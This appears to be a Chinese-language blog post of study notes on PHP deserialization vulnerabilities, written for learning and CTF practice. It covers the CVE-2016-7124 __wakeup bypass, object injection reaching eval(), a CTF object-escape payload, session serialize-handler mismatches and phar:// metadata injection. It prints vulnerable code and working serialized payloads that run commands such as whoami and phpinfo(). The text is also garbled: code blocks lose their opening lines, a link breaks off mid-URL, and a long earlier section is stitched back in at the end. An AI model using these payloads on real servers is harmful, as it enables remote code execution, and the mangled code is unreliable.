PHP 反序列化漏洞入門學習筆記
阿新 • • 發佈:2020-07-14
## 參考文章:
[PHP反序列化漏洞入門](https://www.freebuf.com/articles/web/221213.html)
[easy_serialize_php wp](https://blog.csdn.net/qq_43622442/article/details/106003691)
[實戰經驗丨PHP反序列化漏洞總結](https://www.freebuf.com/articles/network/197496.html)
[PHP Session 序列化及反序列化處理器設定使用不當帶來的安全隱患](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
[利用 phar 拓展 php 反序列化漏洞攻擊面](https://paper.seebug.org/680/)
## 序列化和反序列化的概念
序列化就是將 `物件、string、陣列array、變數` 轉換成具有一定格式的字串。
具體可以看 [CTF PHP反序列化](https://www.cnblogs.com/20175211lyz/p/11403397.html#%E5%85%ADphar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96),下圖摘自此篇文章
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200711232303502-1979730084.png)
其實每個字元對應的含義都很好理解:
```
s ---- string 字串
i ---- integer 整數
d --- 雙精度型
b ---- boolean 布林數
N ---- NULL 空值
O ---- Object 物件
a ---- array 陣列
·············
```
其中較為重要的是 物件 的序列化與反序列化:
**物件序列化後的字串包括 屬性名、屬性值、屬性型別、該物件對應的類名,注意並不包括類中的方法**
* `序列化:`
將物件轉化成字串儲存
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200710183707504-1440131999.png)
其中:
```
序列化一個例項物件後:
O:4:"Test":3:{s:4:"name";s:6:"R0oKi3";s:6:"*age";s:16:"18歲餘24個月";s:10:"Testmoto";s:6:"hehehe";}
O:4:"Test":3: ---O 代表 物件,Test為其類名,佔 4 個字元,並且有 3 個屬性
{} ---大括號裡面包含具體的屬性
s:4:"name";s:6:"R0oKi3"; ---以分號分隔屬性名和屬性值,s 表示字串,4、6 表示字元長度,name表示屬性名,R0oKi3 表示屬性值,後續一樣,都是成對的
注意點:當訪問控制修飾符(public、protected、private)不同時,序列化後的結果也不同
public 被序列化的時候屬性名 不會更改
protected 被序列化的時候屬性名 會變成 %00*%00屬性名
private 被序列化的時候屬性名 會變成 %00類名%00屬性名
```
由於 %00 就是一個空字元,所以不會顯示出來,不過為了顯示效果,在菜鳥工具上可以明顯看到不同
當提交 payload 的時候就需要將 %00 給加上後再提交
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200710201445035-672848914.png)
* `反序列化:`
反序列化則相反,其將字串轉化成物件
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200711230451602-1092952832.png)
至於為什麼要序列化:
**物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。**
* `serialize() 函式`
serialize() 函式會檢查類中是否存在一個魔術方法 __sleep()。如果存在,__sleep() 方法會先被呼叫,然後才執行序列化操作。
* `unserialize() 函式`
unserialize() 會檢查是否存在一個 __wakeup() 魔術方法,成功地重新構造物件後,如果存在__wakeup() 成員函式則會呼叫 __wakeup()
但是當序列化字串表示物件屬性個數的值大於真實個數的屬性時就會跳過 __wakeup() 的執行,也就是 CVE-2016-7124,php 版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)。
由於會從字串構造出物件,那麼會不會呼叫 __construct() 建構函式?
例如如下測試程式碼:
```
test = '0預設內容
'; echo $this->test; } } $a = new Test(); echo '1'.$a->test; $a->test = '自定義內容
'; echo '2'.$a->test; $x = serialize($a); $y = unserialize($x); echo '3'.$y->test; ?> ``` 執行結果為: ``` 0預設內容 // $a = new Test(); 時執行 __construct() 建構函式 1預設內容 // echo '1'.$a->test; 2自定義內容 // echo '2'.$a->test; 3自定義內容 // echo '3'.$y->test; ``` 可以看到反序列化時,並沒有呼叫 __construct() 建構函式。 * 其他可能會用到的 [魔術方法](https://www.php.net/manual/zh/language.oop5.magic.php) ``` __destruct() 解構函式,當物件被銷燬或者程式退出時會自動呼叫 __toString() 用於一個類被當成字串時觸發 __invoke() 當嘗試以呼叫函式的方式呼叫一個物件時觸發 __call() 在物件上下文中呼叫不可訪問的方法時觸發 __callStatic() 在靜態上下文中呼叫不可訪問的方法時觸發 __get() 用於從不可訪問的屬性讀取資料 __set() 用於將資料寫入不可訪問的屬性 __isset() 在不可訪問的屬性上呼叫 isset() 或 empty() 觸發 __unset() 在不可訪問的屬性上使用 unset() 時觸發 ``` ## 通過例子理解反序列化漏洞 ### CVE-2016-7124 * 介紹: 呼叫 unserilize() 方法成功地重新構造物件後,如果 class 中存在 __wakeup 方法,前會呼叫 __wakeup 方法,但是序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過 __wakeup 的執行 php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10) * 測試程式碼: ```php cmd = ''; } function __destruct(){ echo '
'; system($this->cmd); } } $test = $_GET['cmd']; $test_n = unserialize($test); ?> ``` 可以看到,當執行反序列化的時候,呼叫 __wakeup 方法會將 $cmd 引數置為空,在程式退出時執行 __destruct 方法時也就執行不了任何命令 * 因此可以利用 CVE-2016-7124 首先得到一個正常的序列化結果: ```php cmd = ''; } function __destruct(){ echo '
'; system($this->cmd); } } $test = new Test(); $test->cmd = "whoami"; echo serialize($test); ``` 結果:`O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}` 然後構造物件屬性個數的值大於真實的屬性個數的 payload: `O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}` * 成功執行: ![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200712170301223-1069046748.png) ### 物件注入 參考文章:[實戰經驗丨PHP反序列化漏洞總結](https://www.freebuf.com/articles/network/197496.html) * 參考程式碼: ``` target = new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } class C{ var $test; function action(){ echo "action C"; eval($this->test); } } unserialize($_GET['test']); ?> ``` >class B 和class C 有一個同名方法 action,我們可以構造目標物件,使得解構函式呼叫 class C 的 action 方法,實現任意程式碼執行 * 構造序列化字串: ``` target = new C; //這裡將 B 換成 C $this->target->test = "whoami"; //初始化物件 $test 值 } function __destruct(){ $this->target->action(); } } class C{ var $test; function action(){ eval($this->test); } } echo "\n\n\n\n"; echo serialize(new A()); ?> ``` * 執行得到 payload:可以看到,內部注入了一個 C 物件 `O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}` * 執行 ![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200712182941535-1166521502.png) ### PHP 反序列化的物件逃逸 參考文章:[easy_serialize_php wp](https://blog.csdn.net/qq_43622442/article/details/106003691) 題目:[easy_serialize_php](https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php) * 開啟題目看到原始碼 ```
```
* 依葫蘆畫瓢
構造 payload,獲取`/d0g3_fllllllag`檔案
```
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
```
* 執行
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200712154650871-930006776.png)
### session 反序列化
參考文章:
[PHP Session 序列化及反序列化處理器設定使用不當帶來的安全隱患](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
* session.serialize_handler="" 定義序列化和反序列化的處理器的名字,預設是php(5.5.4後改為php_serialize)
測試程式碼:
```php
```
* session.serialize_handler=php(預設)
只對使用者名稱的內容進行了序列化儲存,沒有對變數名進行序列化,可以看作是伺服器對使用者會話資訊的半序列化儲存過程。
比如:傳入資料 username=test,那麼變成 session 後儲存為 `username|s:4:"test";`
* session.serialize_handler=php_serialize
對整個session資訊包括檔名、檔案內容都進行了序列化處理,可以看作是伺服器對使用者會話資訊的完全序列化儲存過程。
比如:傳入資料 username=test,那麼變成 session 後儲存為 `a:1{s:8:"username";s:4:"test";}`
* session.serialize_handler=php_binary
鍵名的長度對應的ASCII字元 + 鍵名 + 經過serialize()函式反序列化處理的值
比如:傳入資料 username=test,那麼變成 session 後儲存為 `8 代表的 ascii 字元退格 usernames:4:"test";`
* **為什麼會出現序列化漏洞?**
在`反序列化`儲存的 $_SEESION 資料時的使用的處理器和`序列化`時使用的處理器不同,會導致資料無法正確反序列化,通過特殊的偽造,便可以偽造任意資料
* 例如:
在儲存 `$_SEESION` 時處理方法為 `php_serialize`,傳輸的資料為 `username=|O:4:"test":0:{}`,則最後儲存為 `a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}`
而在取用 `$_SESSION` 時的處理方法為 `php`,此時鍵:`a:1{s:8:"username";s:16:"`,值:`O:4:"test":0:{}`,那麼反序列話後便構造出了一個 test 物件。
**下面的內容取自[PHP Session 序列化及反序列化處理器設定使用不當帶來的安全隱患](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)**
* `session.auto_start`
指定會話模組是否在請求開始時啟動一個會話,預設不啟動
* `session.auto_start=On`
>當配置選項 session.auto_start=On,會自動註冊 Session 會話,因為該過程是發生在指令碼程式碼執行前,所以在指令碼中設定的包括序列化處理器在內的 session 相關配選項的設定是不起作用的, 因此一些需要在指令碼中設定序列化處理器配置的程式會在 session.auto_start=On 時,銷燬自動生成的 Session 會話,然後設定需要的序列化處理器,再呼叫 session_start() 函式註冊會話,這時如果指令碼中設定的序列化處理器與 php.ini 中設定的不同,就會出現安全問題,如下面的程式碼:
//foo.php
```
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
```
>當第一次訪問該指令碼,並提交資料如下:
foo.php?ryat=|O:8:"stdClass":0:{}
指令碼會按照 php_serialize 處理器的序列化格式儲存資料:
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
當第二次訪問該指令碼時,PHP 會按照 php.ini 裡設定的序列化處理器反序列化儲存的資料,這時如果 php.ini 裡設定的是 php 處理器的話,將會反序列化偽造的資料,成功例項化了 stdClass 物件
這裡需要注意的是,因為 PHP 自動註冊 Session 會話是在指令碼執行前,所以通過該方式只能注入 PHP 的內建類。
* `session.auto_start=Off`
>當配置選項 session.auto_start=Off,兩個指令碼註冊 Session 會話時使用的序列化處理器不同,就會出現安全問題,如下面的程式碼:
//foo1.php
```
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
```
//foo2.php
```
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}
```
>當訪問 foo1.php 時,提交資料如下:
foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
指令碼會按照 php_serialize 處理器的序列化格式儲存資料,訪問 foo2.php 時,則會按照 php 處理器的反序列化格式讀取資料,這時將會反序列化偽造的資料,成功例項化了 ryat 物件,並將會執行類中的 __wakeup 方法和 __destruct 方法
* 還有一個有趣的點 ------ 沒有$_SESSION變數賦值,通過上傳檔案構造反序列化漏洞
文章:
[原理+實踐掌握(PHP反序列化和Session反序列化)](https://xz.aliyun.com/t/7366#toc-6)
[深入解析PHP中SESSION反序列化機制](https://www.jb51.net/article/107101.htm)
* 小例子:
1.php
```
```
2.php
```
cmd = 'phpinfo();';
}
function __destruct(){
system($this->cmd);
}
}
?>
```
首先我們訪問 1.php,並傳入`?a=|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}`
於是會在本地生成一個 session 檔案,其內容為`a:1:{s:8:"username";s:39:"|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}";}`
然後我們訪問 2.php,執行了 session_start() 函式,於是便會將 session 檔案內容取出進行反序列化,由於處理方法不同,導致了反序列化漏洞
構造了一個 Test() 物件,然後再給通過序列化字串的內容給 $cmd 變數賦值 'whoami',此時 __construct() 方法並沒有被呼叫
在程式結束時,呼叫了解構函式,也就執行了命令 whoami
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200712225932575-1425504807.png)
### phar:// 反序列化漏洞(物件注入)
* 原因
在建立 phar 檔案時,通過 setMetadata() 方法可以將物件以序列化的形式存入到 phar 檔案中,並且在一些函式使用 phar:// 偽協議解析該檔案時,會進行反序列化,從而造成了物件注入
* 哪些函式會使 phar 檔案內容反序列化
摘自seebug的一張圖[利用 phar 拓展 php 反序列化漏洞攻擊面](https://paper.seebug.org/680/),和 [PHAR反序列化拓展操作總結](https://www.freebuf.com/articles/web/205943.html)
函式 | | | |
:-: | :-: | :-: | :-: |
ìnclude(); | fopen(); | copy(); | file(); |
file_get_contents(); | file_put_contents(); | file_exists(); | md5_file(); |
unlink(); | stat(); | readfile(); | |
is_dir(); | is_file(); | is_link(); | is_executable(); |
is_readable(); | is_writable(); | is_writeable(); | parse_ini_file(); |
filegroup(); | fileinode(); | fileowner(); | fileperms(); |
filemtime(); | fileatime(); | filectime(); | filesize(); |
```
exif_thumbnailexif_imagetype();
imageloadfontimagecreatefrom();
hash_hmac_filehash_filehash_update_filemd5_filesha1_file();
get_meta_tagsget_headers();
getimagesizegetimagesizefromstring();
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
```
* 小例子
* 漏洞存在的前提條件:
能上傳 phar 檔案或者其他型別的檔案到伺服器
有能解析並觸發反序列化的函式,並且引數可控
偽協議 phar:// 未被禁用
* 存在漏洞的程式碼 phar.php:
```
output);
}
}
file_exists($filename);
?>
```
* 建立 phar 檔案,並注入物件,程式碼:make_phar.php:
注意點:要將 php.ini 中的 phar.readonly 選項設定為 Off,否則無法生成 phar 檔案
```
class AnyClass {} //需要構造的物件
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('GIF89a'.''); //這裡可以繞過檔案型別設定,既可以當成 gif 也可以當成 phar 檔案,當然也可以設定其他頭,也可以不設定
$object = new AnyClass;
$object->output = 'phpinfo();'; // 設定物件引數
$phar->setMetadata($object); //將物件儲存(會自動將其序列化)
$phar->stopBuffering();
```
* 執行該程式碼會得到一個 phar 檔案
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200714144653706-232094791.png)
* 檢視該檔案具體內容
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200714144828002-682939416.png)
* 上傳到目標伺服器訪問存在漏洞的程式碼,並指定檔案
![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200714144939315-4672419
'; echo $this->test; } } $a = new Test(); echo '1'.$a->test; $a->test = '自定義內容
'; echo '2'.$a->test; $x = serialize($a); $y = unserialize($x); echo '3'.$y->test; ?> ``` 執行結果為: ``` 0預設內容 // $a = new Test(); 時執行 __construct() 建構函式 1預設內容 // echo '1'.$a->test; 2自定義內容 // echo '2'.$a->test; 3自定義內容 // echo '3'.$y->test; ``` 可以看到反序列化時,並沒有呼叫 __construct() 建構函式。 * 其他可能會用到的 [魔術方法](https://www.php.net/manual/zh/language.oop5.magic.php) ``` __destruct() 解構函式,當物件被銷燬或者程式退出時會自動呼叫 __toString() 用於一個類被當成字串時觸發 __invoke() 當嘗試以呼叫函式的方式呼叫一個物件時觸發 __call() 在物件上下文中呼叫不可訪問的方法時觸發 __callStatic() 在靜態上下文中呼叫不可訪問的方法時觸發 __get() 用於從不可訪問的屬性讀取資料 __set() 用於將資料寫入不可訪問的屬性 __isset() 在不可訪問的屬性上呼叫 isset() 或 empty() 觸發 __unset() 在不可訪問的屬性上使用 unset() 時觸發 ``` ## 通過例子理解反序列化漏洞 ### CVE-2016-7124 * 介紹: 呼叫 unserilize() 方法成功地重新構造物件後,如果 class 中存在 __wakeup 方法,前會呼叫 __wakeup 方法,但是序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過 __wakeup 的執行 php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10) * 測試程式碼: ```php cmd = ''; } function __destruct(){ echo '
'; system($this->cmd); } } $test = $_GET['cmd']; $test_n = unserialize($test); ?> ``` 可以看到,當執行反序列化的時候,呼叫 __wakeup 方法會將 $cmd 引數置為空,在程式退出時執行 __destruct 方法時也就執行不了任何命令 * 因此可以利用 CVE-2016-7124 首先得到一個正常的序列化結果: ```php cmd = ''; } function __destruct(){ echo '
'; system($this->cmd); } } $test = new Test(); $test->cmd = "whoami"; echo serialize($test); ``` 結果:`O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}` 然後構造物件屬性個數的值大於真實的屬性個數的 payload: `O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}` * 成功執行: ![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200712170301223-1069046748.png) ### 物件注入 參考文章:[實戰經驗丨PHP反序列化漏洞總結](https://www.freebuf.com/articles/network/197496.html) * 參考程式碼: ``` target = new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } class C{ var $test; function action(){ echo "action C"; eval($this->test); } } unserialize($_GET['test']); ?> ``` >class B 和class C 有一個同名方法 action,我們可以構造目標物件,使得解構函式呼叫 class C 的 action 方法,實現任意程式碼執行 * 構造序列化字串: ``` target = new C; //這裡將 B 換成 C $this->target->test = "whoami"; //初始化物件 $test 值 } function __destruct(){ $this->target->action(); } } class C{ var $test; function action(){ eval($this->test); } } echo "\n\n\n\n"; echo serialize(new A()); ?> ``` * 執行得到 payload:可以看到,內部注入了一個 C 物件 `O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}` * 執行 ![](https://img2020.cnblogs.com/blog/1893076/202007/1893076-20200712182941535-1166521502.png) ### PHP 反序列化的物件逃逸 參考文章:[easy_serialize_php wp](https://blog.csdn.net/qq_43622442/article/details/106003691) 題目:[easy_serialize_php](https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php) * 開啟題目看到原始碼 ```